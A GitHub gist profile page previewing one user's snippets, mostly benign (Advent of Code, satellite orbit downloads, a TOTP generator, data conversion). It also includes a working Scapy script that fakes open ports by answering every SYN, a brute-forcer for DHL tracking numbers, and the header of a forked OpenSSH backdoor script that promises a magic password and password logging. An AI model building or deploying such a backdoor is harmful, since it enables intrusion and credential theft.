Skip to content

Instantly share code, notes, and snippets.

View system123's full-sized avatar

Lloyd Hughes system123

View GitHub Profile
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWC960i4OMbRFUel7tQBVRXd6mQHyz7WGGw/OG6dHCWnExPk3mFfHTccrd76Q7pE01Em7lY3npT8pd5k4zuigZUBO4oel1p4KcHjeQya5BXMi0Xgunyny/8vn3VSPwr6qA9YppnMGmxq35BxLei7iuWcM5ibpnj9xKF7ws0tqU06n0JSz50Gd1LWH7uVcQyFj3UBflgPhQ/3LBAwCIsb3/aWL0D5eZ3vdXRLl114H50qBCgMoFgeQXNRYn8MCOmmC6ZzOz0nGk1DnTiN71kHZqP8KWUQGYjGDNCNjRitWUd4dnM3ZcHVNmrASczmQ/yyE8PWzHrHC5qpOaYbklPeWF [email protected]
@system123
system123 / problem7ab.cpp
Last active December 8, 2021 08:00
AoC2021 Problem 7
#include <fstream>
#include <string>
#include <sstream>
#include <iostream>
#include <vector>
#include <numeric>
using namespace std;
template <typename T>
@system123
system123 / download_orbit.py
Last active October 8, 2021 11:42
Download Sentinel 1 POE and RES orbit files from aux.sentinel1.eo.esa.int
"""Get Sentinel-1 orbit file(s) from ESA archive website"""
import argparse
import logging
import os
import re
import sys
from datetime import datetime
from pyroSAR.examine import ExamineSnap
@system123
system123 / google_auth.py
Created March 2, 2021 17:09
Google Auth TOTP code generator, just seed it with your MFA secret key and it'll generate codes exactly as Google Auth does.
def get_totp_token(secret, refresh_time=int(time.time())//30):
secret = secret.strip().replace(' ', '')
secret = secret.ljust((len(secret) + 7) & (-8) ,'=')
key = base64.b32decode(secret, True)
msg = struct.pack(">Q", refresh_time)
h = bytearray(hmac.new(key, msg, hashlib.sha1).digest())
o = h[19] & 15
h = str((struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000)
return h.zfill(6)
@system123
system123 / FastCNNFeatures.py
Created March 12, 2019 16:32
Fast Dense CNN Features
import torch
import torch.nn.functional as F
from torch import nn
from torchvision import models
from math import ceil, floor
from functools import reduce
# https://www.dfki.de/fileadmin/user_upload/import/9245_FastCNNFeature_BMVC.pdf
@system123
system123 / find_tracking_number.rb
Last active February 13, 2018 15:05
A brute force to find lost DHL tracking numbers when the receipt has deteriorated and only a few digits are readable
require "net/http"
require 'parallel'
start = "54608206666?"
start = "54608??????4"
def make_tracking_num(i, start)
n = start.count("?")
missing = sprintf("%0#{n}d" % i).split('')
track = start.gsub '?', '%d'
@system123
system123 / bson2hdf5.c
Last active September 20, 2017 14:14
CDiscount Kaggle Competition - BSON to HDF5
/* Converts the CDiscount data from BSON format to HDF5 files
*
* Author: Lloyd Hughes <[email protected]>
*
* To compile: gcc -o bson_to_hdf5 bson_to_hdf5.c -I/usr/include/libbson-1.0 -L/usr/lib64 -lbson-1.0 -lhdf5_hl -lhdf5 -lrt -lpthread -lz -ldl -lm -Wl
*/
#include <stdio.h>
#include <bson.h>
#include <hdf5.h>
#include <pthread.h>
@system123
system123 / show_all_your_ports_as_open.md
Created June 24, 2017 18:24 — forked from zbetcheckin/show_all_your_ports_as_open.md
Fun Python & Scapy script that will answer 'SYN ACK' to any TCP 'SYN' packet received on any port

Python - Scapy - Show all your ports as open

#!/usr/local/bin/python2
from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
    if pkt[TCP].flags == 2:
        print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
 send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))
@system123
system123 / openssh-autobackdoor.bash
Last active October 14, 2017 21:05 — forked from eyecatchup/openssh-autobackdoor.bash
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
#!/bin/bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# [email protected]
# ============================================
# USAGE:
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
@system123
system123 / README.md
Last active August 29, 2015 14:26 — forked from hofmannsven/README.md
My simply Git Cheatsheet